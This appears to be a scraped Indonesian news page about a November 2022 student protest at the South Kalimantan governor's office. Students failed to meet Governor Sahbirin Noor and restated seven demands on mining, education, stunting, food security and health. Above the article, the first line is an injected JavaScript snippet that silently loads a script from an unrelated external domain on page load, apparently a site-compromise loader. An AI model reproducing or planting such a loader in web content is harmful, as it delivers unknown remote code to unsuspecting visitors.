(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Lagi-lagi Gagal Temui Paman Birin, Massa Aksi Hanya Bisa Telan Kecewa


KANALKALIMANTAN.COM, BANJARBARU – Aksi BEM se Kalsel menggeruduk kantor Gubernur Kalsel untuk bertemu Gubernur kembali menuai kekecewaan. Ratusan mahasiswa yang beratribut almamater dan baju hitam hanya berkumpul, dan berorasi di halaman perkantoran Setda Provinsi  Kalsel, Rabu (9/11/2022) sore, tanpa kedatangan Gubernur Kalsel H Sahbirin Noor.

Di hadapan pejabat SKPD yang menemui mahasiswa, Yogi Ilmawan, Koordinator Lapangan Aksi mengatakan, tetap menginginkan untuk dihadirkannya Gubernur Kalsel.

Massa aksi pun menyampaikan rentetan kekecewaannya kepada Gubernur Kalsel H Sahbirin Noor yang mangkir dari panggilan rakyat terhitung sejak satu minggu lalu.

“Kita sudah membuat ruang untuk bertemu, tapi kenapa Paman Birin mangkir lagi, gimana rakyat ini apakah menjadi prioritas apa tidak, yang menjadi prioritas Paman Birin hanya proyek-proyeknya saja. Kami menagih janji bertemu,” ujar Yogi.

 

Baca juga  : Benahi Mutu Satuan Pendidik, Disdikbud HSU Gelar Sosialisasi Rapor Pendidikan

Sementara itu, menanggapi massa aksi di ialah Staf Ahli Bidang Pemerintahan, Hukum dan Politik Sekretariat Daerah Provinsi Kalsel, H Sulkan menyampaikan permintaan maaf karena Gubernur Kalsel memiliki agenda lain.

Ia juga ingin membacakan tujuh agenda Gubernur yang dilakukan hari ini. Namun, permintaan maaf dan penjelasan tersebut langsung dipatahkan massa aksi.

“Sekarang apakah prioritasnya jawaban 7 tuntutan ditanyakan atau hanya menanyakan Paman Birin berada, saya akan sampaikan agenda-agenda tersebut dan menyampaikan jawaban Gubernur,” ujar Sulkan.

Komunikasi yang baik ditawarkan oleh Sulkan untuk bisa menjawab semua tuntutan yang dibawa peserta aksi, namun tidak dengan dipertemukan dengan Gubernur Kalsel.

Baca juga  : Ketua DWP OPD se Kabupaten Kapuas 2019-2024 Dikukuhkan

Mereka mengaku telah menerima massa aksi dengan beberapa tuntutan yang disampaikan oleh sejumlah mahasiswa yang tergabung di dalam BEM Se Kalsel belum lama ini. Mereka juga  menyampaikan langsung kepada Gubernur Kalsel.

“Pertama kita kan sudah berkomunikasi di waktu yang dijadwalkan yaitu satu kali 24 jam bahwa saat itu Gubernur Kalsel sedang ada perjalanan ke desa untuk menjemput aspirasi masyarakat,” sebutnya.

Untuk kedua kalinya, sambung Sulkan mereka memang berjanji memfasilitasi. Mereka pun membentuk tim rangkap kedua yang langsung meminta jawaban tuntutan dari Gubernur Kalsel.

“Kedua kalinya kami menghubungi beliau ternyata beliau masih di desa sampai hari Sabtu. Tapi Gubernur mengatakan siap bersilaturahmi dengan para mahasiswa. Yang ketiga kami tentunya kami sangat  menghormati kalian, buktinya kami inisiatif membentuk rangkap tim kedua untuk meminta jawaban langsung atas tuntutan kalian,” jelasnya.

Baca juga  : BEM se Kalsel Berdemo, Mahasiswa Kembali Cari Paman Birin

Adapun dari 7 isi tuntutan yang diajukan massa aksi salah satunya sudah dipenuhi yakni dengan mengumpulkan seluruh SKPD untuk membahas tuntutan tersebut.

“Salah satunya kita sudah merapatkan seluruh SKPD untuk membahas tuntutan itu. Semua gerak yang Gubernur lakukan adalah untuk kepentingan rakyat, maka kita bisa mencipatakan titik temu dari situ,” ungkapnya.

Mereka pun mengatakan mencoba lagi bagaimana caranya bisa bersilaturahmi dengan baik bersama Gubernur agar solusi terpecahkan dan membuahkan hasil.

Pantauan media ini, hingga sore hari massa aksi geruduk kantor Gubernur Kalsel akhirnya membubarkan diri, tapi mereka tetap pada 7 tuntutan yang mereka bawa dan menunggu untuk bertemu Gubernur Kalsel.

Baca juga  : Mantan Bendahara Bawaslu Banjar Divonis 6 Tahun, Wajib Kembalikan Rp 1,3 Miliar

Aksi massa ini pun dikawal ketat oleh pihak kepolisian Polda Kalsel. Di depan kantor Setda Provinsi Kalsel terpantau satu unit kendaraan taktis dan Damkar diterjunkan.

Diberitakan sebelumnya, sejumlah Mahasiswa yang dipelopori oleh BEM Se-Kalsel memadati kantor Pemerintahan Provinsi Kalimantan Selatan, Rabu (9/11/2022) siang, mencari Gubernur Kalsel untuk membahas 7 tuntutan yang dibawa.

Adapun 7 tuntutan yang dibawa ialah setop izin baru pertambangan, PEBB (Penghentian Eksploitasi Skala Besar) di Kalsel, Cabut izin-izin pertambangan HTI dan HPH yang bermasalah di Kalsel.

Kemudian menuntut pemerintah daerah Provinsi Kalsel ntuk membentuk Satuan Tugas Kejahatan Tambang, kejahatan lingkungan dan kejahatan SDA yang melibatkan partisipasi masyarakat Kalimantan Selatan.

Baca juga  : Borong 6 Emas, Tenis Lapangan Jadi Lumbung Medali Kontingen HSU di Porprov XI Kalsel

Serta tingkatkan mutu dan kualitas pendidikan di Kalsel, menuntut pemerintah provinsi untuk menekan pemerintah kabupaten/kota untuk mempercepat penurunan prevalensi stunting di Kalsel.

Dan juga mereka menuntut pemerintah Kalsel untuk menyiapkan ketahanan pangan masyarakat Kalsel dan memasifkan pelayanan kesehatan dan kompetensi tenaga kesehatan di Kalsel. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Diduga Buat Akta Palsu, Notaris Senior di Bekasi Dilaporkan ke Polda Metro Jaya

Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More

5 jam ago

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

6 jam ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

10 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

11 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

11 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

15 jam ago

This website uses cookies.